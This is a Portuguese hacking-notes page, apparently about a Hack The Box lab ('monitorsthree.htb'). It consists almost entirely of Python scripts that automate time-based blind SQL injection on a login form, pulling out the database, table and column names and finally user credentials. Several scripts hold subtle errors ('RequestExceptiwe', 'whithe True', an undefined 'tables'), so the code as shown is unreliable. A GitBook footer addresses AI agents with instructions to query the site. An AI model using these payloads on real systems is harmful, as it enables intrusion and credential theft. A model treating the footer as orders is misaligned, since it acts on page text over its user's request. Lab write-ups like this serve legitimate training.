> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi baseado em tempo

#### Automação da exploração com um script em Python

Desenvolvemos um script em Python para automatizar a extração de dados por meio de injeção SQL. O script extrai o nome do banco de dados, nomes de tabelas, nomes de colunas e, por fim, dados sensíveis, como nomes de usuário e senhas.

### Banco de dados:

**Exemplo de script para extrair o nome do banco de dados:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi baseada em tempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("Iniciando ataque de injeção SQL...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        # Se nenhum caractere tiver sido encontrado nesta posição, interrompemos o laço
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    logger.info("Injeção SQL concluída!")
    logger.info(f"Dados extraídos finais: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realize um ataque de injeção SQL baseada em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Nome do banco de dados**: `monitorsthree_db`

<figure><img src="/files/6b5570739a5311b5a40296cdfc3d837c3a084f40" alt=""><figcaption></figcaption></figure>

### **Bancos de dados:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi baseada em tempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraindo o nome do banco de dados no deslocamento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        for character in characters:
            # Formata a consulta SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        # Se nenhum caractere tiver sido encontrado nesta posição, interrompemos o laço
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # requisição para extrair os nomes dos bancos de dados
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("Nenhum outro banco de dados encontrado.")
            break
        databases.append(database_name)
        logger.info(f"Banco de dados encontrado: {database_name}")
        offset += 1
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de bancos de dados: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realize um ataque de injeção SQL baseada em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/2f26941f959d790baa09a849c7de5e597e2dfc5d" alt=""><figcaption></figcaption></figure>

### **Tabelas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi baseada em tempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraindo o nome da tabela no deslocamento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        for character in characters:
            # Formata a consulta SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        # Se nenhum caractere tiver sido encontrado nesta posição, interrompemos o laço
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # requisição para extrair os nomes das tabelas do banco de dados `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("Nenhuma outra tabela encontrada.")
            break
        tables.append(table_name)
        logger.info(f"Tabela encontrada: {table_name}")
        offset += 1
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de tabelas em monitorsthree_db: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realize um ataque de injeção SQL baseada em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Tabelas**: `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/c6e74f58713dd08dcba57c2b5624a2e6d0ee411c" alt=""><figcaption></figcaption></figure>

### **Colunas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi baseada em tempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraindo o nome da coluna no deslocamento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        for character in characters:
            # Formata a consulta SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        # Se nenhum caractere tiver sido encontrado nesta posição, interrompemos o laço
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # requisição para extrair os nomes das colunas da tabela `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("Nenhuma outra coluna encontrada.")
            break
        columns.append(column_name)
        logger.info(f"Coluna encontrada: {column_name}")
        offset += 1
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de colunas na tabela 'users': {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realize um ataque de injeção SQL baseada em tempo.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Colunas da tabela `users`**: `id`, `nome de usuário`, `email`, `senha`, `parâmetro`, `position`, `dob`, `start_date`, `salary`

<figure><img src="/files/ff7c8b01af9609fc90f0161d10e3f9a2f0acf9ea" alt=""><figcaption></figcaption></figure>

### **Dados extraídos**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# SQLi baseada em tempo
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Saindo.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraindo dados no deslocamento {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicador para verificar se um caractere foi encontrado
        for character in characters:
            # Formata a consulta SQL com todas as variáveis necessárias
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testando: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Falha na requisição: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Dados extraídos até agora: {extracted_data}")
                character_found = True  # Um caractere foi encontrado
                break
        # Se nenhum caractere tiver sido encontrado nesta posição, interrompemos o laço
        if not character_found:
            logger.info(f"Nenhum caractere encontrado na posição {position}. Encerrando a extração.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # requisição para extrair os nomes de usuário
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # requisição para extrair as senhas
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("Nenhuma outra credencial encontrada.")
            break
        credentials.append((username, password))
        logger.info(f"Credenciais encontradas: {username}:{password}")
        offset += 1
    logger.info("Injeção SQL concluída!")
    logger.info(f"Lista de credenciais: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realize um ataque de injeção SQL baseada em tempo para extrair credenciais.")
    parser.add_argument("--url", required=True, help="URL de destino para a injeção SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tempo de atraso para a injeção SQL")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/848341f31085838d71a1ec8af65390151daa383a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
